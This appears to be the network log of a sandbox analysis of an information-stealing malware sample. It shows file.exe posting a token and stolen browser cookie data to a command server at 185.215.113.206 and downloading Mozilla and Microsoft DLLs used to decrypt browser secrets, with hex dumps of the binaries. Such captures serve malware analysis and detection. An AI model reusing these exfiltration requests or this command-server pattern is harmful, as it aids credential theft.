Nov 25, 2024 05:46:22.728910923 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 04:46:22 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Nov 25, 2024 05:46:22.729067087 CET	1236	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B
Nov 25, 2024 05:46:22.733102083 CET	1236	IN	Data Raw: ec 0c 89 c5 85 db 74 05 83 fb 03 75 2e 89 7c 24 08 89 5c 24 04 89 34 24 e8 19 f7 0a 00 83 ec 0c 89 c5 89 7c 24 08 89 5c 24 04 89 34 24 e8 64 fd ff ff 83 ec 0c 85 c0 75 02 31 ed c7 05 48 67 eb 61 ff ff ff ff 83 c4 1c 89 e8 5b 5e 5f 5d c3 8d b4 26 Data Ascii: tu.\|$\$4$\|$\$4$du1Hga[^_]&+C\|$\$4$w#t\|$\$4$u#u\|$D$4$t&up\|$D$4$rZ\|$D$4$Q

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49793	185.215.113.206	80	7328	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 25, 2024 05:46:32.503612041 CET	629	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GCBGIIECGHCAKECAFBFH Host: 185.215.113.206 Content-Length: 427 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 43 42 47 49 49 45 43 47 48 43 41 4b 45 43 41 46 42 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 37 34 63 61 30 34 36 37 39 61 37 37 34 63 62 31 61 64 66 34 61 34 63 63 61 37 66 34 64 37 38 35 66 38 65 64 34 37 65 33 64 36 38 38 65 37 35 64 38 33 32 33 36 38 30 65 31 33 64 34 37 36 35 30 31 63 39 30 39 64 30 0d 0a 2d 2d 2d 2d 2d 2d 47 43 42 47 49 49 45 43 47 48 43 41 4b 45 43 41 46 42 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 47 43 42 47 49 49 45 43 47 48 43 41 4b 45 43 41 46 42 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 [TRUNCATED] Data Ascii: ------GCBGIIECGHCAKECAFBFHContent-Disposition: form-data; name="token"674ca04679a774cb1adf4a4cca7f4d785f8ed47e3d688e75d8323680e13d476501c909d0------GCBGIIECGHCAKECAFBFHContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------GCBGIIECGHCAKECAFBFHContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------GCBGIIECGHCAKECAFBFH--
Nov 25, 2024 05:46:34.394572020 CET	203	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 04:46:33 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 25, 2024 05:46:34.592832088 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DAEBKKKEHDHDGDGCFBKJ Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 41 45 42 4b 4b 4b 45 48 44 48 44 47 44 47 43 46 42 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 37 34 63 61 30 34 36 37 39 61 37 37 34 63 62 31 61 64 66 34 61 34 63 63 61 37 66 34 64 37 38 35 66 38 65 64 34 37 65 33 64 36 38 38 65 37 35 64 38 33 32 33 36 38 30 65 31 33 64 34 37 36 35 30 31 63 39 30 39 64 30 0d 0a 2d 2d 2d 2d 2d 2d 44 41 45 42 4b 4b 4b 45 48 44 48 44 47 44 47 43 46 42 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 44 41 45 42 4b 4b 4b 45 48 44 48 44 47 44 47 43 46 42 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------DAEBKKKEHDHDGDGCFBKJContent-Disposition: form-data; name="token"674ca04679a774cb1adf4a4cca7f4d785f8ed47e3d688e75d8323680e13d476501c909d0------DAEBKKKEHDHDGDGCFBKJContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------DAEBKKKEHDHDGDGCFBKJContent-Disposition: form-data; name="file"------DAEBKKKEHDHDGDGCFBKJ--
Nov 25, 2024 05:46:35.550442934 CET	202	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 04:46:34 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49829	185.215.113.206	80	7328	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 25, 2024 05:46:41.250432968 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GDHDHJEBGHJKFIECBGCB Host: 185.215.113.206 Content-Length: 3083 Connection: Keep-Alive Cache-Control: no-cache
Nov 25, 2024 05:46:41.250473022 CET	3083	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 47 44 48 44 48 4a 45 42 47 48 4a 4b 46 49 45 43 42 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 37 34 63 61 30 Data Ascii: ------GDHDHJEBGHJKFIECBGCBContent-Disposition: form-data; name="token"674ca04679a774cb1adf4a4cca7f4d785f8ed47e3d688e75d8323680e13d476501c909d0------GDHDHJEBGHJKFIECBGCBContent-Disposition: form-data; name="file_name"Y29va2llc1xNa
Nov 25, 2024 05:46:43.135005951 CET	203	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 04:46:42 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 25, 2024 05:46:43.423417091 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KFIEHIIIJDAAAAAAKECB Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 46 49 45 48 49 49 49 4a 44 41 41 41 41 41 41 4b 45 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 37 34 63 61 30 34 36 37 39 61 37 37 34 63 62 31 61 64 66 34 61 34 63 63 61 37 66 34 64 37 38 35 66 38 65 64 34 37 65 33 64 36 38 38 65 37 35 64 38 33 32 33 36 38 30 65 31 33 64 34 37 36 35 30 31 63 39 30 39 64 30 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 49 45 48 49 49 49 4a 44 41 41 41 41 41 41 4b 45 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 49 45 48 49 49 49 4a 44 41 41 41 41 41 41 4b 45 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------KFIEHIIIJDAAAAAAKECBContent-Disposition: form-data; name="token"674ca04679a774cb1adf4a4cca7f4d785f8ed47e3d688e75d8323680e13d476501c909d0------KFIEHIIIJDAAAAAAKECBContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------KFIEHIIIJDAAAAAAKECBContent-Disposition: form-data; name="file"------KFIEHIIIJDAAAAAAKECB--
Nov 25, 2024 05:46:44.366581917 CET	202	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 04:46:43 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 25, 2024 05:46:44.806492090 CET	94	OUT	GET /68b591d6548ec281/freebl3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 25, 2024 05:46:45.252125978 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 04:46:45 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Nov 25, 2024 05:46:45.252201080 CET	124	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 89 e5 68 4f 01 00 00 e8 f2 0b 08 00 83 c4 04 85 c0 74 0e 89 80 38 01 00 00 83 c0 0f 83 e0 f0 5d c3 68 13 e0 ff ff e8 c7 0b Data Ascii: UhOt8]h1]UWVEtu}U
Nov 25, 2024 05:46:45.252355099 CET	1236	IN	Data Raw: 10 8b 4d 0c 85 ff 74 22 f2 0f 10 07 f2 0f 11 80 30 01 00 00 eb 28 68 05 e0 ff ff e8 7f 0b 08 00 83 c4 04 b8 ff ff ff ff eb 26 c7 80 34 01 00 00 a6 a6 a6 a6 c7 80 30 01 00 00 a6 a6 a6 a6 6a 10 56 6a 00 6a 00 52 51 50 e8 3f 96 06 00 83 c4 1c 5e 5f Data Ascii: Mt"0(h&40jVjjRQP?^_]USWVhO?t081tkEU]Mt0%h1<40jRjjPQWt8^
Nov 25, 2024 05:46:45.252499104 CET	224	IN	Data Raw: 0f 84 8d 02 00 00 89 54 24 34 89 44 24 30 89 f8 83 e0 f8 50 e8 88 06 08 00 83 c4 04 85 c0 0f 84 7c 02 00 00 89 c3 89 f8 c1 ef 03 8d 4f ff 89 4c 24 38 50 56 53 e8 27 07 08 00 83 c4 0c f2 0f 10 03 f2 0f 11 44 24 40 8d 04 3f 83 c0 fe 8d 04 40 89 c1 Data Ascii: T$4D$0P\|OL$8PVS'D$@?@L$L$D$D$D$$D$ 11\$($D$T$L$D$D$t$8D$D$@L$T$\|$
Nov 25, 2024 05:46:45.252510071 CET	1236	IN	Data Raw: 20 c1 e7 08 09 d7 0f b6 4c 24 24 09 f9 0f b6 d3 c1 e2 18 8b 5c 24 08 0f b6 ff c1 e7 10 09 d7 0f b6 5c 24 0c c1 e3 08 09 fb 0f b6 54 24 10 09 da 89 cb 31 c3 25 00 00 00 ff 81 e1 00 00 80 7f 31 c1 89 d8 25 00 00 ff 00 09 c8 89 d9 0f b6 fb 31 54 24 Data Ascii: L$$\$\$T$1%1%1T$D\|$@\|$t\$(D$\$(sFD$,D$s@D$,D$s<D$,sBD$,s@D$ ,D$ D$$D$$D$(D$GD$?D$D$1D$L$
Nov 25, 2024 05:46:45.252521992 CET	1236	IN	Data Raw: 00 00 00 29 c8 c1 f8 1f 8b 7d 1c 80 7c 37 f3 01 f7 d0 19 ff 09 c7 21 df 21 d7 b8 05 00 00 00 29 c8 c1 f8 1f f7 d0 8b 55 1c 80 7c 32 f2 01 19 db 09 c3 b8 06 00 00 00 29 c8 c1 f8 1f 80 7c 32 f1 01 f7 d0 19 d2 09 c2 21 da 21 fa b8 07 00 00 00 29 c8 Data Ascii: )}\|7!!)U\|2)\|2!!)M\|1t/EU;U]w"1E9t:RVP -:]QsE9uSjPEtSP\M1$^_[]USWVut:}
Nov 25, 2024 05:46:45.252672911 CET	1236	IN	Data Raw: 00 00 00 89 fe 89 f0 5e 5f 5b 5d c3 cc cc cc cc 55 89 e5 53 57 56 83 ec 08 8b 55 18 8b 4d 14 8b 5d 0c 8b 75 08 8b 3e 8b 46 04 39 d8 74 3a 8d 4e 08 8b 56 08 c7 46 08 00 00 00 00 85 ff 89 4d ec 89 55 f0 74 48 8b 48 0c ff 15 00 80 0a 10 6a 01 57 ff Data Ascii: ^_[]USWVUM]u>F9t:NVFMUtHHjWhjV4%tUVPdnFEFEF^Kt=Uuu#t>t FHjWEM1^_[]
Nov 25, 2024 05:46:45.252684116 CET	1236	IN	Data Raw: 6b f7 07 00 83 c4 04 68 02 01 00 00 56 e8 6f f7 07 00 83 c4 08 e9 cb 00 00 00 8d bd f0 fe ff ff 68 00 01 00 00 68 20 21 08 10 89 b5 ec fe ff ff 56 e8 cf f7 07 00 83 c4 0c bb 00 01 00 00 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 40 00 8b 75 0c 56 ff 75 Data Ascii: khVohh !Vf.@uVuW)9wSuWT>\>=t%>>fM1
Nov 25, 2024 05:46:45.260898113 CET	1236	IN	Data Raw: f8 08 0f 82 fc 02 00 00 8b 4d d4 83 e1 f8 8d 41 f8 89 c2 c1 ea 03 83 c2 01 85 c0 89 4d c8 0f 84 ef 01 00 00 89 d1 83 e1 fe 66 0f 6f 05 c0 20 08 10 31 f6 66 0f ef c9 66 0f ef d2 8b 7d 10 8b 5d cc 0f 1f 80 00 00 00 00 89 f0 09 d8 66 0f 6e 34 07 66 Data Ascii: MAMfo 1ff}]fn4ff`fafofrfo f[fpffpffof% fpfpfbfnlff`fafffrf% [fpffpfpffpfbff
Nov 25, 2024 05:46:45.260910988 CET	1236	IN	Data Raw: 88 de 89 fb 80 c3 01 0f b6 fb 8b 45 f0 8a 14 38 00 d6 88 75 e8 0f b6 f6 8a 34 30 88 34 38 88 14 30 00 d6 0f b6 f6 8a 75 e8 8b 7d e4 8a 54 0f ff 32 14 30 8b 45 dc 88 54 08 ff 8b 45 d8 01 c8 83 c0 01 83 c1 01 83 f8 01 75 ba 8b 45 f0 88 98 00 01 00 Data Ascii: E8u40480u}T20ETEuE14^_[]UM1]U}f.MMuEMMU2}E0MEEMLEE
Nov 25, 2024 05:46:46.761842012 CET	94	OUT	GET /68b591d6548ec281/mozglue.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 25, 2024 05:46:47.208642006 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 04:46:46 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Nov 25, 2024 05:46:48.146615982 CET	95	OUT	GET /68b591d6548ec281/msvcp140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 25, 2024 05:46:48.592634916 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 04:46:48 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Nov 25, 2024 05:46:49.416018963 CET	91	OUT	GET /68b591d6548ec281/nss3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 25, 2024 05:46:49.862932920 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 04:46:49 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Nov 25, 2024 05:46:53.213984013 CET	95	OUT	GET /68b591d6548ec281/softokn3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 25, 2024 05:46:53.659881115 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 04:46:53 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Nov 25, 2024 05:46:54.299029112 CET	99	OUT	GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
